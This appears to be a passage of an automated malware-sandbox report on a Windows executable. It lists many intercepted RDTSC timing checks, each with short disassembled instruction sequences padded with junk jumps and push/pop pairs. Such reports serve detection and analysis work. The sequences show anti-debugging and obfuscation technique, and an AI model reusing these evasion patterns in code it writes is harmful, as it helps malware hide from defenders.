Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 356C79 second address: 356CA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F60h 0x00000007 push ecx 0x00000008 jmp 00007F5DA4DA2F5Ah 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 jno 00007F5DA4DA2F56h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 356CA3 second address: 356CA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 356F92 second address: 356FAA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F5DA4DA2F56h 0x00000012 jnc 00007F5DA4DA2F56h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 356FAA second address: 356FB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 356FB4 second address: 356FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 356FB8 second address: 356FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 356FBE second address: 356FCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F5DA4DA2F56h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3570FD second address: 357107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 357107 second address: 357114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnp 00007F5DA4DA2F5Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 357114 second address: 357123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 jp 00007F5DA4981DA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 357287 second address: 357299 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4DA2F5Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 357299 second address: 3572B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jo 00007F5DA4981DA6h 0x0000000e jmp 00007F5DA4981DAAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35740D second address: 357411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35AC3D second address: 35AC57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F5DA4981DB0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35AC57 second address: 35AC5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35AC5B second address: 35AC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5DA4981DB0h 0x0000000b pushad 0x0000000c jng 00007F5DA4981DA6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35AC7A second address: 35AC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4DA2F5Bh 0x00000009 je 00007F5DA4DA2F56h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35AC94 second address: 35AC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 35AC9A second address: 35ACA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3665E8 second address: 3665EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3665EE second address: 3665F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3665F3 second address: 366611 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F5DA4981DA6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F5DA4981DA6h 0x00000014 jmp 00007F5DA4981DAAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 366611 second address: 366615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 36DACC second address: 36DAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 36DAD7 second address: 36DADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 36DADD second address: 36DAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 36DAE1 second address: 36DB01 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5DA4DA2F66h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 36D949 second address: 36D94D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 36D94D second address: 36D96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5DA4DA2F56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5DA4DA2F62h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 36A3DF second address: 36A458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DB4h 0x00000007 jne 00007F5DA4981DA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F5DA4981DB3h 0x00000017 jmp 00007F5DA4981DB3h 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F5DA4981DB5h 0x00000025 jmp 00007F5DA4981DB9h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37C71D second address: 37C721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37C721 second address: 37C732 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F5DA4981DA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37C732 second address: 37C742 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA4DA2F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37C742 second address: 37C746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37C746 second address: 37C75A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F60h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37C75A second address: 37C760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37EEA2 second address: 37EEAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37EEAA second address: 37EEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4981DB8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 37EEC6 second address: 37EECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3932AA second address: 3932B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3932B0 second address: 3932B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3932B6 second address: 3932BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3932BA second address: 3932C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3939E4 second address: 3939E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3968FA second address: 3968FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 396BB2 second address: 396BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 396BB6 second address: 396BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 396E44 second address: 396E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5DA4981DA6h 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F5DA4981DA8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 pushad 0x00000027 js 00007F5DA4981DACh 0x0000002d mov dword ptr [ebp+12449555h], ecx 0x00000033 push ecx 0x00000034 movsx ebx, bx 0x00000037 pop eax 0x00000038 popad 0x00000039 push dword ptr [ebp+124495E5h] 0x0000003f mov dx, ax 0x00000042 push 01E50A6Bh 0x00000047 push ebx 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2B320D second address: 2B321A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F5DA4DA2F56h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B0435 second address: 49B0439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B0439 second address: 49B043D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B043D second address: 49B0443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B0443 second address: 49B0459 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B0459 second address: 49B045F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B045F second address: 49B0465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B0465 second address: 49B0469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B0469 second address: 49B04A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5DA4DA2F5Bh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov dx, si 0x00000013 jmp 00007F5DA4DA2F60h 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5DA4DA2F5Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B04A3 second address: 49B04A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B04A9 second address: 49B04AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B04AF second address: 49B04B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B04B3 second address: 49B04D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5DA4DA2F5Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B04D0 second address: 49B04D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B04D4 second address: 49B04DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B04DA second address: 49B04EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4981DADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49B04EB second address: 49B04EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D06AE second address: 49D06B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D06B2 second address: 49D06B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D06B8 second address: 49D06BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D06BE second address: 49D0703 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F5DA4DA2F62h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F5DA4DA2F60h 0x00000015 xchg eax, ecx 0x00000016 jmp 00007F5DA4DA2F60h 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0703 second address: 49D071F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D071F second address: 49D0769 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F5DA4DA2F66h 0x0000000f xchg eax, esi 0x00000010 jmp 00007F5DA4DA2F60h 0x00000015 push eax 0x00000016 jmp 00007F5DA4DA2F5Bh 0x0000001b xchg eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0769 second address: 49D076D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D076D second address: 49D0788 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0842 second address: 49D0887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F5DA4981DB3h 0x0000000b or ax, 1D5Eh 0x00000010 jmp 00007F5DA4981DB9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 cmp dword ptr [ebp-04h], 00000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0887 second address: 49D088B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D088B second address: 49D0891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0891 second address: 49D0897 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0897 second address: 49D08E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F5DA4981DB5h 0x00000012 pop ecx 0x00000013 pushfd 0x00000014 jmp 00007F5DA4981DB1h 0x00000019 or cx, DFA6h 0x0000001e jmp 00007F5DA4981DB1h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D08E4 second address: 49D08F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4DA2F5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D08F4 second address: 49D0908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F5DA4981DD4h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0908 second address: 49D090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D090C second address: 49D0912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0956 second address: 49D095C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D095C second address: 49C021E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5DA4981DB0h 0x00000013 sub ecx, 58B58798h 0x00000019 jmp 00007F5DA4981DABh 0x0000001e popfd 0x0000001f popad 0x00000020 retn 0004h 0x00000023 nop 0x00000024 sub esp, 04h 0x00000027 xor ebx, ebx 0x00000029 cmp eax, 00000000h 0x0000002c je 00007F5DA4981F0Ah 0x00000032 mov dword ptr [esp], 0000000Dh 0x00000039 call 00007F5DA925E115h 0x0000003e mov edi, edi 0x00000040 pushad 0x00000041 call 00007F5DA4981DB0h 0x00000046 pushfd 0x00000047 jmp 00007F5DA4981DB2h 0x0000004c sub ax, 0748h 0x00000051 jmp 00007F5DA4981DABh 0x00000056 popfd 0x00000057 pop ecx 0x00000058 popad 0x00000059 xchg eax, ebp 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F5DA4981DACh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C021E second address: 49C0222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0222 second address: 49C0228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0228 second address: 49C025E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5DA4DA2F5Bh 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5DA4DA2F65h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C025E second address: 49C027C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F5DA4981DADh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C027C second address: 49C0294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
